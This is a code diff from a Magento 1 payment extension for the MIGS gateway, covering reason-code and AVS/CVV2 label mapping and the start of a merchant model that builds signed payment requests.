|
145 |
+
* @return array|Varien_Object
|
146 |
+
*/
|
147 |
+
public function &exportFromPayment(Mage_Payment_Model_Info $payment, $to, array $map = null)
|
148 |
+
{
|
149 |
+
$fullMap = array_merge($this->_paymentMap, $this->_systemMap);
|
150 |
+
Varien_Object_Mapper::accumulateByMap(array($payment, 'getAdditionalInformation'), $to,
|
151 |
+
$map ? $map : array_flip($fullMap)
|
152 |
+
);
|
153 |
+
return $to;
|
154 |
+
}
|
155 |
+
|
156 |
+
/**
|
157 |
+
* Check whether the payment is in review state
|
158 |
+
*
|
159 |
+
* @param Mage_Payment_Model_Info $payment
|
160 |
+
* @return bool
|
161 |
+
*/
|
162 |
+
public static function isPaymentReviewRequired(Mage_Payment_Model_Info $payment)
|
163 |
+
{
|
164 |
+
$paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
|
165 |
+
if (self::PAYMENTSTATUS_PENDING === $paymentStatus) {
|
166 |
+
$pendingReason = $payment->getAdditionalInformation(self::PENDING_REASON_GLOBAL);
|
167 |
+
return !in_array($pendingReason, array('authorization', 'order'));
|
168 |
+
}
|
169 |
+
return false;
|
170 |
+
}
|
171 |
+
|
172 |
+
/**
|
173 |
+
* Check whether fraud order review detected and can be reviewed
|
174 |
+
*
|
175 |
+
* @param Mage_Payment_Model_Info $payment
|
176 |
+
* @return bool
|
177 |
+
*/
|
178 |
+
public static function isFraudReviewAllowed(Mage_Payment_Model_Info $payment)
|
179 |
+
{
|
180 |
+
return self::isPaymentReviewRequired($payment)
|
181 |
+
&& 1 == $payment->getAdditionalInformation(self::IS_FRAUD_GLOBAL);
|
182 |
+
}
|
183 |
+
|
184 |
+
/**
|
185 |
+
* Check whether the payment is completed
|
186 |
+
*
|
187 |
+
* @param Mage_Payment_Model_Info $payment
|
188 |
+
* @return bool
|
189 |
+
*/
|
190 |
+
public static function isPaymentCompleted(Mage_Payment_Model_Info $payment)
|
191 |
+
{
|
192 |
+
$paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
|
193 |
+
return self::PAYMENTSTATUS_COMPLETED === $paymentStatus;
|
194 |
+
}
|
195 |
+
|
196 |
+
/**
|
197 |
+
* Check whether the payment was processed successfully
|
198 |
+
*
|
199 |
+
* @param Mage_Payment_Model_Info $payment
|
200 |
+
* @return bool
|
201 |
+
*/
|
202 |
+
public static function isPaymentSuccessful(Mage_Payment_Model_Info $payment)
|
203 |
+
{
|
204 |
+
$paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
|
205 |
+
if (in_array($paymentStatus, array(
|
206 |
+
self::PAYMENTSTATUS_COMPLETED, self::PAYMENTSTATUS_INPROGRESS, self::PAYMENTSTATUS_REFUNDED,
|
207 |
+
self::PAYMENTSTATUS_REFUNDEDPART, self::PAYMENTSTATUS_UNREVERSED, self::PAYMENTSTATUS_PROCESSED,
|
208 |
+
))) {
|
209 |
+
return true;
|
210 |
+
}
|
211 |
+
$pendingReason = $payment->getAdditionalInformation(self::PENDING_REASON_GLOBAL);
|
212 |
+
return self::PAYMENTSTATUS_PENDING === $paymentStatus
|
213 |
+
&& in_array($pendingReason, array('authorization', 'order'));
|
214 |
+
}
|
215 |
+
|
216 |
+
/**
|
217 |
+
* Check whether the payment was processed unsuccessfully or failed
|
218 |
+
*
|
219 |
+
* @param Mage_Payment_Model_Info $payment
|
220 |
+
* @return bool
|
221 |
+
*/
|
222 |
+
public static function isPaymentFailed(Mage_Payment_Model_Info $payment)
|
223 |
+
{
|
224 |
+
$paymentStatus = $payment->getAdditionalInformation(self::PAYMENT_STATUS_GLOBAL);
|
225 |
+
return in_array($paymentStatus, array(
|
226 |
+
self::PAYMENTSTATUS_REJECTED
|
227 |
+
));
|
228 |
+
}
|
229 |
+
|
230 |
+
/**
|
231 |
+
* Explain pending payment reason code
|
232 |
+
*
|
233 |
+
* @param string $code
|
234 |
+
* @return string
|
235 |
+
*/
|
236 |
+
public static function explainPendingReason($code)
|
237 |
+
{
|
238 |
+
switch ($code) {
|
239 |
+
case 'address':
|
240 |
+
return Mage::helper('payment')->__('Customer did not include a confirmed address.');
|
241 |
+
case 'authorization':
|
242 |
+
case 'order':
|
243 |
+
return Mage::helper('payment')->__('The payment is authorized but not settled.');
|
244 |
+
case 'echeck':
|
245 |
+
return Mage::helper('payment')->__('The payment eCheck is not yet cleared.');
|
246 |
+
case 'intl':
|
247 |
+
return Mage::helper('payment')->__('Merchant holds a non-U.S. account and does not have a withdrawal mechanism.');
|
248 |
+
case 'multi-currency': // break is intentionally omitted
|
249 |
+
case 'multi_currency': // break is intentionally omitted
|
250 |
+
case 'multicurrency':
|
251 |
+
return Mage::helper('payment')->__('The payment curency does not match any of the merchant\'s balances currency.');
|
252 |
+
case 'paymentreview':
|
253 |
+
return Mage::helper('payment')->__('The payment is pending while it is being reviewed by Migs for risk.');
|
254 |
+
case 'unilateral':
|
255 |
+
return Mage::helper('payment')->__('The payment is pending because it was made to an email address that is not yet registered or confirmed.');
|
256 |
+
case 'verify':
|
257 |
+
return Mage::helper('payment')->__('The merchant account is not yet verified.');
|
258 |
+
case 'upgrade':
|
259 |
+
return Mage::helper('payment')->__('The payment was made via credit card. In order to receive funds merchant must upgrade account to Business or Premier status.');
|
260 |
+
case 'none': // break is intentionally omitted
|
261 |
+
case 'other': // break is intentionally omitted
|
262 |
+
default:
|
263 |
+
return Mage::helper('payment')->__('Unknown reason. Please contact Migs customer service.');
|
264 |
+
}
|
265 |
+
}
|
266 |
+
|
267 |
+
/**
|
268 |
+
* Explain the refund or chargeback reason code
|
269 |
+
*
|
270 |
+
* @param $code
|
271 |
+
* @return string
|
272 |
+
*/
|
273 |
+
public static function explainReasonCode($code)
|
274 |
+
{
|
275 |
+
switch ($code) {
|
276 |
+
case 'chargeback':
|
277 |
+
return Mage::helper('payment')->__('Chargeback by customer.');
|
278 |
+
case 'guarantee':
|
279 |
+
return Mage::helper('payment')->__('Customer triggered a money-back guarantee.');
|
280 |
+
case 'buyer-complaint':
|
281 |
+
return Mage::helper('payment')->__('Customer complaint.');
|
282 |
+
case 'refund':
|
283 |
+
return Mage::helper('payment')->__('Refund issued by merchant.');
|
284 |
+
case 'adjustment_reversal':
|
285 |
+
return Mage::helper('payment')->__('Reversal of an adjustment.');
|
286 |
+
case 'chargeback_reimbursement':
|
287 |
+
return Mage::helper('payment')->__('Reimbursement for a chargeback.');
|
288 |
+
case 'chargeback_settlement':
|
289 |
+
return Mage::helper('payment')->__('Settlement of a chargeback.');
|
290 |
+
case 'none': // break is intentionally omitted
|
291 |
+
case 'other':
|
292 |
+
default:
|
293 |
+
return Mage::helper('payment')->__('Unknown reason. Please contact Migs customer service.');
|
294 |
+
}
|
295 |
+
}
|
296 |
+
|
297 |
+
/**
|
298 |
+
* Whether a reversal/refund can be disputed with Migs
|
299 |
+
*
|
300 |
+
* @param string $code
|
301 |
+
* @return bool;
|
302 |
+
*/
|
303 |
+
public static function isReversalDisputable($code)
|
304 |
+
{
|
305 |
+
switch ($code) {
|
306 |
+
case 'none':
|
307 |
+
case 'other':
|
308 |
+
case 'chargeback':
|
309 |
+
case 'buyer-complaint':
|
310 |
+
case 'adjustment_reversal':
|
311 |
+
return true;
|
312 |
+
case 'guarantee':
|
313 |
+
case 'refund':
|
314 |
+
case 'chargeback_reimbursement':
|
315 |
+
case 'chargeback_settlement':
|
316 |
+
default:
|
317 |
+
return false;
|
318 |
+
}
|
319 |
+
}
|
320 |
+
|
321 |
+
/**
|
322 |
+
* Render info item
|
323 |
+
*
|
324 |
+
* @param array $keys
|
325 |
+
* @param Mage_Payment_Model_Info $payment
|
326 |
+
* @param bool $labelValuesOnly
|
327 |
+
*/
|
328 |
+
protected function _getFullInfo(array $keys, Mage_Payment_Model_Info $payment, $labelValuesOnly)
|
329 |
+
{
|
330 |
+
$result = array();
|
331 |
+
foreach ($keys as $key) {
|
332 |
+
if (!isset($this->_paymentMapFull[$key])) {
|
333 |
+
$this->_paymentMapFull[$key] = array();
|
334 |
+
}
|
335 |
+
if (!isset($this->_paymentMapFull[$key]['label'])) {
|
336 |
+
if (!$payment->hasAdditionalInformation($key)) {
|
337 |
+
$this->_paymentMapFull[$key]['label'] = false;
|
338 |
+
$this->_paymentMapFull[$key]['value'] = false;
|
339 |
+
} else {
|
340 |
+
$value = $payment->getAdditionalInformation($key);
|
341 |
+
$this->_paymentMapFull[$key]['label'] = $this->_getLabel($key);
|
342 |
+
$this->_paymentMapFull[$key]['value'] = $value;
|
343 |
+
//$this->_paymentMapFull[$key]['value'] = $this->_getValue($value, $key);
|
344 |
+
}
|
345 |
+
}
|
346 |
+
if (!empty($this->_paymentMapFull[$key]['value'])) {
|
347 |
+
if ($labelValuesOnly) {
|
348 |
+
$result[$this->_paymentMapFull[$key]['label']] = $this->_paymentMapFull[$key]['value'];
|
349 |
+
} else {
|
350 |
+
$result[$key] = $this->_paymentMapFull[$key];
|
351 |
+
}
|
352 |
+
}
|
353 |
+
}
|
354 |
+
return $result;
|
355 |
+
}
|
356 |
+
|
357 |
+
/**
|
358 |
+
* Render info item labels
|
359 |
+
*
|
360 |
+
* @param string $key
|
361 |
+
*/
|
362 |
+
protected function _getLabel($key)
|
363 |
+
{
|
364 |
+
switch ($key) {
|
365 |
+
case 'vpc_authorize_id':
|
366 |
+
return Mage::helper('payment')->__('Authorize ID');
|
367 |
+
case 'vpc_order_info':
|
368 |
+
return Mage::helper('payment')->__('Order Info');
|
369 |
+
case 'vpc_receipt_no':
|
370 |
+
return Mage::helper('payment')->__('Receipt No');
|
371 |
+
case 'vpc_transaction_no':
|
372 |
+
return Mage::helper('payment')->__('Transaction No');
|
373 |
+
case 'vpc_merch_txn_ref':
|
374 |
+
return Mage::helper('payment')->__('Merchant Transaction Reference');
|
375 |
+
case 'vpc_batch_no':
|
376 |
+
return Mage::helper('payment')->__('Batch No');
|
377 |
+
case 'vpc_avs_result_code':
|
378 |
+
return Mage::helper('payment')->__('AVS Result Code');
|
379 |
+
case 'vpc_avs_response_code':
|
380 |
+
return Mage::helper('payment')->__('AVS Response Code');
|
381 |
+
case 'vpc_acq_avs_response_code':
|
382 |
+
return Mage::helper('payment')->__('ACQ AVS Reponse Code');
|
383 |
+
case 'vpc_risk_overall_result':
|
384 |
+
return Mage::helper('payment')->__('Overall Result');
|
385 |
+
case 'vpc_threedsenrolled':
|
386 |
+
return Mage::helper('payment')->__('3D secure');
|
387 |
+
}
|
388 |
+
return '';
|
389 |
+
}
|
390 |
+
|
391 |
+
/**
|
392 |
+
* Apply a filter upon value getting
|
393 |
+
*
|
394 |
+
* @param string $value
|
395 |
+
* @param string $key
|
396 |
+
* @return string
|
397 |
+
*/
|
398 |
+
protected function _getValue($value, $key)
|
399 |
+
{
|
400 |
+
$label = '';
|
401 |
+
switch ($key) {
|
402 |
+
case 'vpc_avs_code':
|
403 |
+
$label = $this->_getAvsLabel($value);
|
404 |
+
break;
|
405 |
+
case 'vpc_cvv2_match':
|
406 |
+
$label = $this->_getCvv2Label($value);
|
407 |
+
break;
|
408 |
+
default:
|
409 |
+
return $value;
|
410 |
+
}
|
411 |
+
return sprintf('#%s%s', $value, $value == $label ? '' : ': ' . $label);
|
412 |
+
}
|
413 |
+
|
414 |
+
/**
|
415 |
+
* Attempt to convert AVS check result code into label
|
416 |
+
*
|
417 |
+
* @param string $value
|
418 |
+
* @return string
|
419 |
+
*/
|
420 |
+
protected function _getAvsLabel($value)
|
421 |
+
{
|
422 |
+
switch ($value) {
|
423 |
+
// Visa, MasterCard, Discover and American Express
|
424 |
+
case 'A':
|
425 |
+
return Mage::helper('payment')->__('Matched Address only (no ZIP)');
|
426 |
+
case 'B': // international "A"
|
427 |
+
return Mage::helper('payment')->__('Matched Address only (no ZIP). International');
|
428 |
+
case 'N':
|
429 |
+
return Mage::helper('payment')->__('No Details matched');
|
430 |
+
case 'C': // international "N"
|
431 |
+
return Mage::helper('payment')->__('No Details matched. International');
|
432 |
+
case 'X':
|
433 |
+
return Mage::helper('payment')->__('Exact Match. Address and nine-digit ZIP code');
|
434 |
+
case 'D': // international "X"
|
435 |
+
return Mage::helper('payment')->__('Exact Match. Address and Postal Code. International');
|
436 |
+
case 'F': // UK-specific "X"
|
437 |
+
return Mage::helper('payment')->__('Exact Match. Address and Postal Code. UK-specific');
|
438 |
+
case 'E':
|
439 |
+
return Mage::helper('payment')->__('N/A. Not allowed for MOTO (Internet/Phone) transactions');
|
440 |
+
case 'G':
|
441 |
+
return Mage::helper('payment')->__('N/A. Global Unavailable');
|
442 |
+
case 'I':
|
443 |
+
return Mage::helper('payment')->__('N/A. International Unavailable');
|
444 |
+
case 'Z':
|
445 |
+
return Mage::helper('payment')->__('Matched five-digit ZIP only (no Address)');
|
446 |
+
case 'P': // international "Z"
|
447 |
+
return Mage::helper('payment')->__('Matched Postal Code only (no Address)');
|
448 |
+
case 'R':
|
449 |
+
return Mage::helper('payment')->__('N/A. Retry');
|
450 |
+
case 'S':
|
451 |
+
return Mage::helper('payment')->__('N/A. Service not Supported');
|
452 |
+
case 'U':
|
453 |
+
return Mage::helper('payment')->__('N/A. Unavailable');
|
454 |
+
case 'W':
|
455 |
+
return Mage::helper('payment')->__('Matched whole nine-didgit ZIP (no Address)');
|
456 |
+
case 'Y':
|
457 |
+
return Mage::helper('payment')->__('Yes. Matched Address and five-didgit ZIP');
|
458 |
+
// Maestro and Solo
|
459 |
+
case '0':
|
460 |
+
return Mage::helper('payment')->__('All the address information matched');
|
461 |
+
case '1':
|
462 |
+
return Mage::helper('payment')->__('None of the address information matched');
|
463 |
+
case '2':
|
464 |
+
return Mage::helper('payment')->__('Part of the address information matched');
|
465 |
+
case '3':
|
466 |
+
return Mage::helper('payment')->__('N/A. The merchant did not provide AVS information');
|
467 |
+
case '4':
|
468 |
+
return Mage::helper('payment')->__('N/A. Address not checked, or acquirer had no response. Service not available');
|
469 |
+
default:
|
470 |
+
return $value;
|
471 |
+
}
|
472 |
+
}
|
473 |
+
|
474 |
+
/**
|
475 |
+
* Attempt to convert CVV2 check result code into label
|
476 |
+
*
|
477 |
+
* @param string $value
|
478 |
+
* @return string
|
479 |
+
*/
|
480 |
+
protected function _getCvv2Label($value)
|
481 |
+
{
|
482 |
+
switch ($value) {
|
483 |
+
// Visa, MasterCard, Discover and American Express
|
484 |
+
case 'M':
|
485 |
+
return Mage::helper('payment')->__('Matched (CVV2CSC)');
|
486 |
+
case 'N':
|
487 |
+
return Mage::helper('payment')->__('No match');
|
488 |
+
case 'P':
|
489 |
+
return Mage::helper('payment')->__('N/A. Not processed');
|
490 |
+
case 'S':
|
491 |
+
return Mage::helper('payment')->__('N/A. Service not supported');
|
492 |
+
case 'U':
|
493 |
+
return Mage::helper('payment')->__('N/A. Service not available');
|
494 |
+
case 'X':
|
495 |
+
return Mage::helper('payment')->__('N/A. No response');
|
496 |
+
// Maestro and Solo
|
497 |
+
case '0':
|
498 |
+
return Mage::helper('payment')->__('Matched (CVV2)');
|
499 |
+
case '1':
|
500 |
+
return Mage::helper('payment')->__('No match');
|
501 |
+
case '2':
|
502 |
+
return Mage::helper('payment')->__('N/A. The merchant has not implemented CVV2 code handling');
|
503 |
+
case '3':
|
504 |
+
return Mage::helper('payment')->__('N/A. Merchant has indicated that CVV2 is not present on card');
|
505 |
+
case '4':
|
506 |
+
return Mage::helper('payment')->__('N/A. Service not available');
|
507 |
+
default:
|
508 |
+
return $value;
|
509 |
+
}
|
510 |
+
}
|
511 |
+
|
512 |
+
/**
|
513 |
+
* Attempt to convert centinel VPAS result into label
|
514 |
+
*
|
515 |
+
* @param string $value
|
516 |
+
* @return string
|
517 |
+
*/
|
518 |
+
private function _getCentinelVpasLabel($value)
|
519 |
+
{
|
520 |
+
switch ($value) {
|
521 |
+
case '2':
|
522 |
+
case 'D':
|
523 |
+
return Mage::helper('payment')->__('Authenticated, Good Result');
|
524 |
+
case '1':
|
525 |
+
return Mage::helper('payment')->__('Authenticated, Bad Result');
|
526 |
+
case '3':
|
527 |
+
case '6':
|
528 |
+
case '8':
|
529 |
+
case 'A':
|
530 |
+
case 'C':
|
531 |
+
return Mage::helper('payment')->__('Attempted Authentication, Good Result');
|
532 |
+
case '4':
|
533 |
+
case '7':
|
534 |
+
case '9':
|
535 |
+
return Mage::helper('payment')->__('Attempted Authentication, Bad Result');
|
536 |
+
case '':
|
537 |
+
case '0':
|
538 |
+
case 'B':
|
539 |
+
return Mage::helper('payment')->__('No Liability Shift');
|
540 |
+
default:
|
541 |
+
return $value;
|
542 |
+
}
|
543 |
+
}
|
544 |
+
}
|
app/code/local/ND/MigsVpc/Model/Merchant.php
ADDED
@@ -0,0 +1,412 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Model_Merchant extends Mage_Payment_Model_Method_Cc
|
24 |
+
{
|
25 |
+
protected $_code = 'migsvpc_merchant';
|
26 |
+
|
27 |
+
/**
|
28 |
+
* Availability options
|
29 |
+
*/
|
30 |
+
protected $_isGateway = true;
|
31 |
+
protected $_canAuthorize = true;
|
32 |
+
protected $_canCapture = true;
|
33 |
+
protected $_canCapturePartial = true;
|
34 |
+
protected $_canRefund = true;
|
35 |
+
protected $_canRefundInvoicePartial = true;
|
36 |
+
protected $_canVoid = true;
|
37 |
+
protected $_canUseInternal = true;
|
38 |
+
protected $_canUseCheckout = true;
|
39 |
+
protected $_canUseForMultishipping = true;
|
40 |
+
protected $_canSaveCc = false;
|
41 |
+
protected $_canFetchTransactionInfo = true;
|
42 |
+
protected $_canReviewPayment = true;
|
43 |
+
|
44 |
+
protected $_formBlockType = 'migsvpc/merchant_form';
|
45 |
+
protected $_paymentMethod = 'merchant';
|
46 |
+
protected $_infoBlockType = 'migsvpc/payment_info';
|
47 |
+
|
48 |
+
protected $_order;
|
49 |
+
protected $_quote;
|
50 |
+
|
51 |
+
/**
|
52 |
+
* Payment actions
|
53 |
+
* @var string
|
54 |
+
*/
|
55 |
+
const ACTION_AUTHORIZE = 'authorize';
|
56 |
+
const ACTION_AUTHORIZE_CAPTURE = 'authorize_capture';
|
57 |
+
/**
|
58 |
+
* Get order model
|
59 |
+
*
|
60 |
+
* @return Mage_Sales_Model_Order
|
61 |
+
*/
|
62 |
+
public function getOrder()
|
63 |
+
{
|
64 |
+
if (!$this->_order) {
|
65 |
+
$paymentInfo = $this->getInfoInstance();
|
66 |
+
$this->_order = Mage::getModel('sales/order')
|
67 |
+
->loadByIncrementId($paymentInfo->getOrder()->getRealOrderId());
|
68 |
+
}
|
69 |
+
return $this->_order;
|
70 |
+
}
|
71 |
+
|
72 |
+
/**
|
73 |
+
* Order increment ID getter (either real from order or a reserved from quote)
|
74 |
+
*
|
75 |
+
* @return string
|
76 |
+
*/
|
77 |
+
private function _getOrderId()
|
78 |
+
{
|
79 |
+
$info = $this->getInfoInstance();
|
80 |
+
|
81 |
+
if ($this->_isPlaceOrder()) {
|
82 |
+
return $info->getOrder()->getIncrementId();
|
83 |
+
} else {
|
84 |
+
if (!$info->getQuote()->getReservedOrderId()) {
|
85 |
+
$info->getQuote()->reserveOrderId();
|
86 |
+
}
|
87 |
+
return $info->getQuote()->getReservedOrderId();
|
88 |
+
}
|
89 |
+
}
|
90 |
+
|
91 |
+
public function _checkout()
|
92 |
+
{
|
93 |
+
return Mage::getModel('core/session');
|
94 |
+
}
|
95 |
+
/**
|
96 |
+
* Grand total getter
|
97 |
+
*
|
98 |
+
* @return string
|
99 |
+
*/
|
100 |
+
private function _getAmount()
|
101 |
+
{
|
102 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
103 |
+
{
|
104 |
+
return 1000;
|
105 |
+
}
|
106 |
+
else
|
107 |
+
{
|
108 |
+
$info = $this->getInfoInstance();
|
109 |
+
if ($this->_isPlaceOrder()) {
|
110 |
+
$_amount = (double)$info->getOrder()->getQuoteBaseGrandTotal()*100;
|
111 |
+
} else {
|
112 |
+
$_amount = (double)$info->getQuote()->getBaseGrandTotal()*100;
|
113 |
+
}
|
114 |
+
return $_amount;
|
115 |
+
}
|
116 |
+
}
|
117 |
+
|
118 |
+
/**
|
119 |
+
* Whether current operation is order placement
|
120 |
+
*
|
121 |
+
* @return bool
|
122 |
+
*/
|
123 |
+
private function _isPlaceOrder()
|
124 |
+
{
|
125 |
+
$info = $this->getInfoInstance();
|
126 |
+
if ($info instanceof Mage_Sales_Model_Quote_Payment) {
|
127 |
+
return false;
|
128 |
+
} elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
|
129 |
+
return true;
|
130 |
+
}
|
131 |
+
}
|
132 |
+
|
133 |
+
/**
|
134 |
+
* Get Customer Id
|
135 |
+
*
|
136 |
+
* @return string
|
137 |
+
*/
|
138 |
+
public function getMerchantId()
|
139 |
+
{
|
140 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
141 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
142 |
+
else
|
143 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
144 |
+
|
145 |
+
return $merchant_id;
|
146 |
+
}
|
147 |
+
|
148 |
+
/**
|
149 |
+
* Get currency that accepted by MIGS account
|
150 |
+
*
|
151 |
+
* @return string
|
152 |
+
*/
|
153 |
+
public function getAccessCode()
|
154 |
+
{
|
155 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
156 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code_test');
|
157 |
+
else
|
158 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code');
|
159 |
+
|
160 |
+
return $access_code;
|
161 |
+
}
|
162 |
+
|
163 |
+
public function getSecureHashKey()
|
164 |
+
{
|
165 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
166 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret_test');
|
167 |
+
else
|
168 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret');
|
169 |
+
|
170 |
+
return $secure_hash_key;
|
171 |
+
}
|
172 |
+
|
173 |
+
/*public function validate()
|
174 |
+
{
|
175 |
+
parent::validate();
|
176 |
+
}*/
|
177 |
+
|
178 |
+
public function callDoSecurePayment(Varien_Object $payment, $amount)
|
179 |
+
{
|
180 |
+
$paymentInfo = $this->getInfoInstance();
|
181 |
+
$this->_quote = Mage::getModel('sales/quote')->load($paymentInfo->getQuoteId());
|
182 |
+
// Parameters of paymentInfo object
|
183 |
+
/*{"payment_id":"55","quote_id":"32","created_at":"2011-08-11 06:04:20","updated_at":"2011-08-11 10:51:39","method":"migsvpc_merchant","cc_type":"MC","cc_number_enc":"","cc_last4":"3430","cc_cid_enc":"","cc_owner":null,"cc_exp_month":"5","cc_exp_year":"2013","cc_ss_owner":"","cc_ss_start_month":null,"cc_ss_start_year":null,"cybersource_token":"","paypal_correlation_id":"","paypal_payer_id":"","paypal_payer_status":"","po_number":"","additional_data":null,"cc_ss_issue":null,"additional_information":[],"ideal_issuer_id":null,"ideal_issuer_list":null,"method_instance":{},"cc_number":"5313581000123430","cc_cid":"123"}*/
|
184 |
+
|
185 |
+
//Mage::throwException(Mage::helper('core')->jsonEncode($this->getQuote()));
|
186 |
+
$card_types = array('VI'=>'Visa','MC'=>"Mastercard");
|
187 |
+
$cc_month = date("m",strtotime($paymentInfo->getCcExpYear().'-'.$paymentInfo->getCcExpMonth()));
|
188 |
+
$cc_year = date("y",strtotime($paymentInfo->getCcExpYear().'-'.$paymentInfo->getCcExpMonth()));
|
189 |
+
$cc_date = $cc_year.$cc_month;
|
190 |
+
|
191 |
+
|
192 |
+
|
193 |
+
$fields = array(
|
194 |
+
"vpc_AccessCode"=>$this->getAccessCode(),
|
195 |
+
"vpc_Amount"=>$this->_getAmount(), // 1000 - For Testing
|
196 |
+
"vpc_card"=>$card_types[$paymentInfo->getCcType()],
|
197 |
+
//"vpc_CardExp"=>$cc_date,
|
198 |
+
//"vpc_CardNum"=>$paymentInfo->getCcNumber(),
|
199 |
+
"vpc_CardSecurityCode"=>$paymentInfo->getCcCid(),
|
200 |
+
"vpc_Command"=>"pay",
|
201 |
+
//"vpc_gateway"=>"threeDSecure",
|
202 |
+
"vpc_Locale"=>"en",
|
203 |
+
"vpc_MerchTxnRef"=>$this->_getOrderId(),
|
204 |
+
"vpc_Merchant"=>$this->getMerchantId(),
|
205 |
+
"vpc_OrderInfo"=>$this->_getOrderId(),
|
206 |
+
"vpc_ReturnURL"=>Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/response', array('_secure' => true)),
|
207 |
+
//"vpc_TicketNo"=>1,
|
208 |
+
"vpc_Version"=>1,
|
209 |
+
//"vpc_SecureHash"=>$secure_hash_key
|
210 |
+
);
|
211 |
+
|
212 |
+
$postRequestData = '';
|
213 |
+
$amp = '';
|
214 |
+
$md5HashData = '';
|
215 |
+
foreach($fields as $key => $val)
|
216 |
+
{
|
217 |
+
$postRequestData .= $amp . urlencode($key) . '=' . urlencode($val);
|
218 |
+
$amp = '&';
|
219 |
+
$md5HashData .= $val;
|
220 |
+
}
|
221 |
+
|
222 |
+
$secure_hash_key = strtoupper(md5($this->getSecureHashKey().$md5HashData));
|
223 |
+
|
224 |
+
$fields["vpc_SecureHash"]=$secure_hash_key;
|
225 |
+
